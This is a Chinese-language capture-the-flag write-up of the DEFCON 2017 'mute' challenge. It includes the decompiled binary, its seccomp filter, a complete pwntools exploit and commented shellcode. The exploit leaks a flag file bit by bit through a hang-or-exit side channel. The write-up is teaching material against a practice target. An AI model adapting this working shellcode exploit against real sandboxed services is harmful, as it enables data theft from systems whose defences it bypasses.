侧信道是个很有意思的东西…万物皆可侧信道…各种奇奇怪怪的方法
https://github.com/bannsec/CTF/tree/5e9bba7fa0f398257aae9f4754370aed647a079a/2017/DEFCON/mute
好多年前的defcon的题了,但现在来看也并不简单,一方面考察了脑洞,要想到侧信道的办法,另一方面要有比较深厚的计算机基础,比如了解系统调用,会写汇编,对汇编比较熟悉才能写出来exp.
程序分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| int __cdecl main(int argc, const char **argv, const char **envp) { FILE *v3; int v5; void *buf;
v5 = 0; buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL); puts("SILENCE, FOUL DAEMON!"); v3 = _bss_start; fflush(_bss_start); dropSyscalls(v3); while ( v5 != 4096 ) { v3 = 0LL; v5 += read(0, buf, 4096 - v5); } ((void (__fastcall *)(FILE *))buf)(v3); return 0; }
|
读取一段内容到buf,然后执行读取的内容,很明显,要读取一段shellcode,但是禁用了一些系统调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| root@VM-24-10-ubuntu:/home/ubuntu/side# seccomp-tools dump ./mute SILENCE, FOUL DAEMON! line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x11 0xc000003e if (A != ARCH_X86_64) goto 0019 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x0e 0xffffffff if (A != 0xffffffff) goto 0019 0005: 0x15 0x0c 0x00 0x00000000 if (A == read) goto 0018 0006: 0x15 0x0b 0x00 0x00000002 if (A == open) goto 0018 0007: 0x15 0x0a 0x00 0x00000003 if (A == close) goto 0018 0008: 0x15 0x09 0x00 0x00000004 if (A == stat) goto 0018 0009: 0x15 0x08 0x00 0x00000005 if (A == fstat) goto 0018 0010: 0x15 0x07 0x00 0x00000006 if (A == lstat) goto 0018 0011: 0x15 0x06 0x00 0x00000007 if (A == poll) goto 0018 0012: 0x15 0x05 0x00 0x00000008 if (A == lseek) goto 0018 0013: 0x15 0x04 0x00 0x00000009 if (A == mmap) goto 0018 0014: 0x15 0x03 0x00 0x0000000a if (A == mprotect) goto 0018 0015: 0x15 0x02 0x00 0x0000000b if (A == munmap) goto 0018 0016: 0x15 0x01 0x00 0x0000000c if (A == brk) goto 0018 0017: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0019 0018: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0019: 0x06 0x00 0x00 0x00000000 return KILL
|
诶 不是有execve吗,不能getshell吗
exp
思路是有的,但是编写exp就比较头疼,汇编比较渣,总之一步步来,先open read然后读每个字节,然后比较,(pwncollege好好打打基础!)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| from pwn import *
context.update(arch='amd64', os='linux', log_level='ERROR')
flag = ""
for i in range(15): c = 0 for j in range(8): p = process("./mute") p.readline()
shellcode = shellcraft.open("./flag",constants.O_RDONLY,None) shellcode += pwnlib.shellcraft.amd64.mov("r8","rax") shellcode += pwnlib.shellcraft.amd64.lseek("r8",i,0) shellcode += pwnlib.shellcraft.amd64.read("r8","rsp",1) shellcode += ''' movzx eax, BYTE PTR [rsp] #把rsp指向的地址处的要比较的字符读取到al中,0扩展到eax movsx edx,al # 把要比较的字符放到edx中 mov eax,%s #把变量放到eax中,就是循环变量 j ,以此循环每个位,一共8位 mov ecx,eax # 把变量放到ecx sar edx,cl # 右移 cl位 mov eax,edx and eax,1 test eax,eax # and运算、测试是1还是0 je .L2 # jz的别名,如果是0,跳转L2 .L3: jmp .L3 .L2: leave ret ''' % j shellcode = asm(shellcode) p.send(shellcode+b"\0"*(0x1000-len(shellcode))) try: p.recv(timeout=1) c = (c>>1) | 128 except EOFError: c = c>>1 sys.stdout.write(chr(c)) flag += chr(c) sys.stdout.flush() print(flag)
|
汇编分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| /* open(file='flag', oflag=0, mode=0) */ /* push b'flag\x00' */ push 0x67616c66 mov rdi, rsp xor edx, edx /* 0 */ xor esi, esi /* 0 */ /* call open() */ push SYS_open /* 2 */ pop rax syscall mov r8, rax # 返回值,句柄, /* lseek(fd='r8', offset=0, whence=0) 这是第一次,偏移为0*/ mov rdi, r8 xor edx, edx /* 0 */ xor esi, esi /* 0 */ /* call lseek() */ push SYS_lseek /* 8 */ pop rax syscall /* call read('r8', 'rsp', 1) */ xor eax, eax /* SYS_read */ mov rdi, r8 push 1 pop rdx mov rsi, rsp syscall # 系统调用号是0 前面xor即可
movzx eax, BYTE PTR [rsp] movsx edx, al mov eax, 0 mov ecx, eax sar edx, cl mov eax, edx and eax, 1 test eax, eax je .L2 .L3: jmp .L3 .L2: leave ret
|
调试
调试的话,可以直接pwntools+gdb调,也可以写段汇编自己调试
接收字符分析
1 2 3 4 5
| try: p.recv(timeout=1) c = (c>>1) | 128 except EOFError: c = c>>1
|
以接收f的过程为例, f是 0b01100110
1 2 3 4 5 6 7 8 9 10
| root@vultr:~/side# python3 1.py 0b0 0b10000000 0b11000000 0b1100000 0b110000 0b10011000 0b11001100 0b1100110 f
|
上面是直接print(bin(c))打印的每次的输出结果,其实不是很好看,补全后就明朗了,就是每次接收一个字符都会往后移动一位,然后前面的就是新的一位
0b00000000
0b10000000
0b11000000
0b01100000
0b00110000
0b10011000
0b11001100
0b01100110
刚开始一直不明白是0还是1的时候才会接收到消息,也就是说是,leave;ret;会接收到消息,还是一直jmp会接收到消息,现在看结果是一直jmp会接收到消息,这是为什么呢?
嘶,感觉其实不是接收到了消息,而是时间到了后,也没有报错,就继续往下执行了,但如果是0的话,就会exit退出,然后EOFError,1的话接收时间过了,就执行下面代码了.
留的小尾巴
了解一下怎么调试汇编吧..直接编写汇编代码调试
还没用时间侧信道来做呢…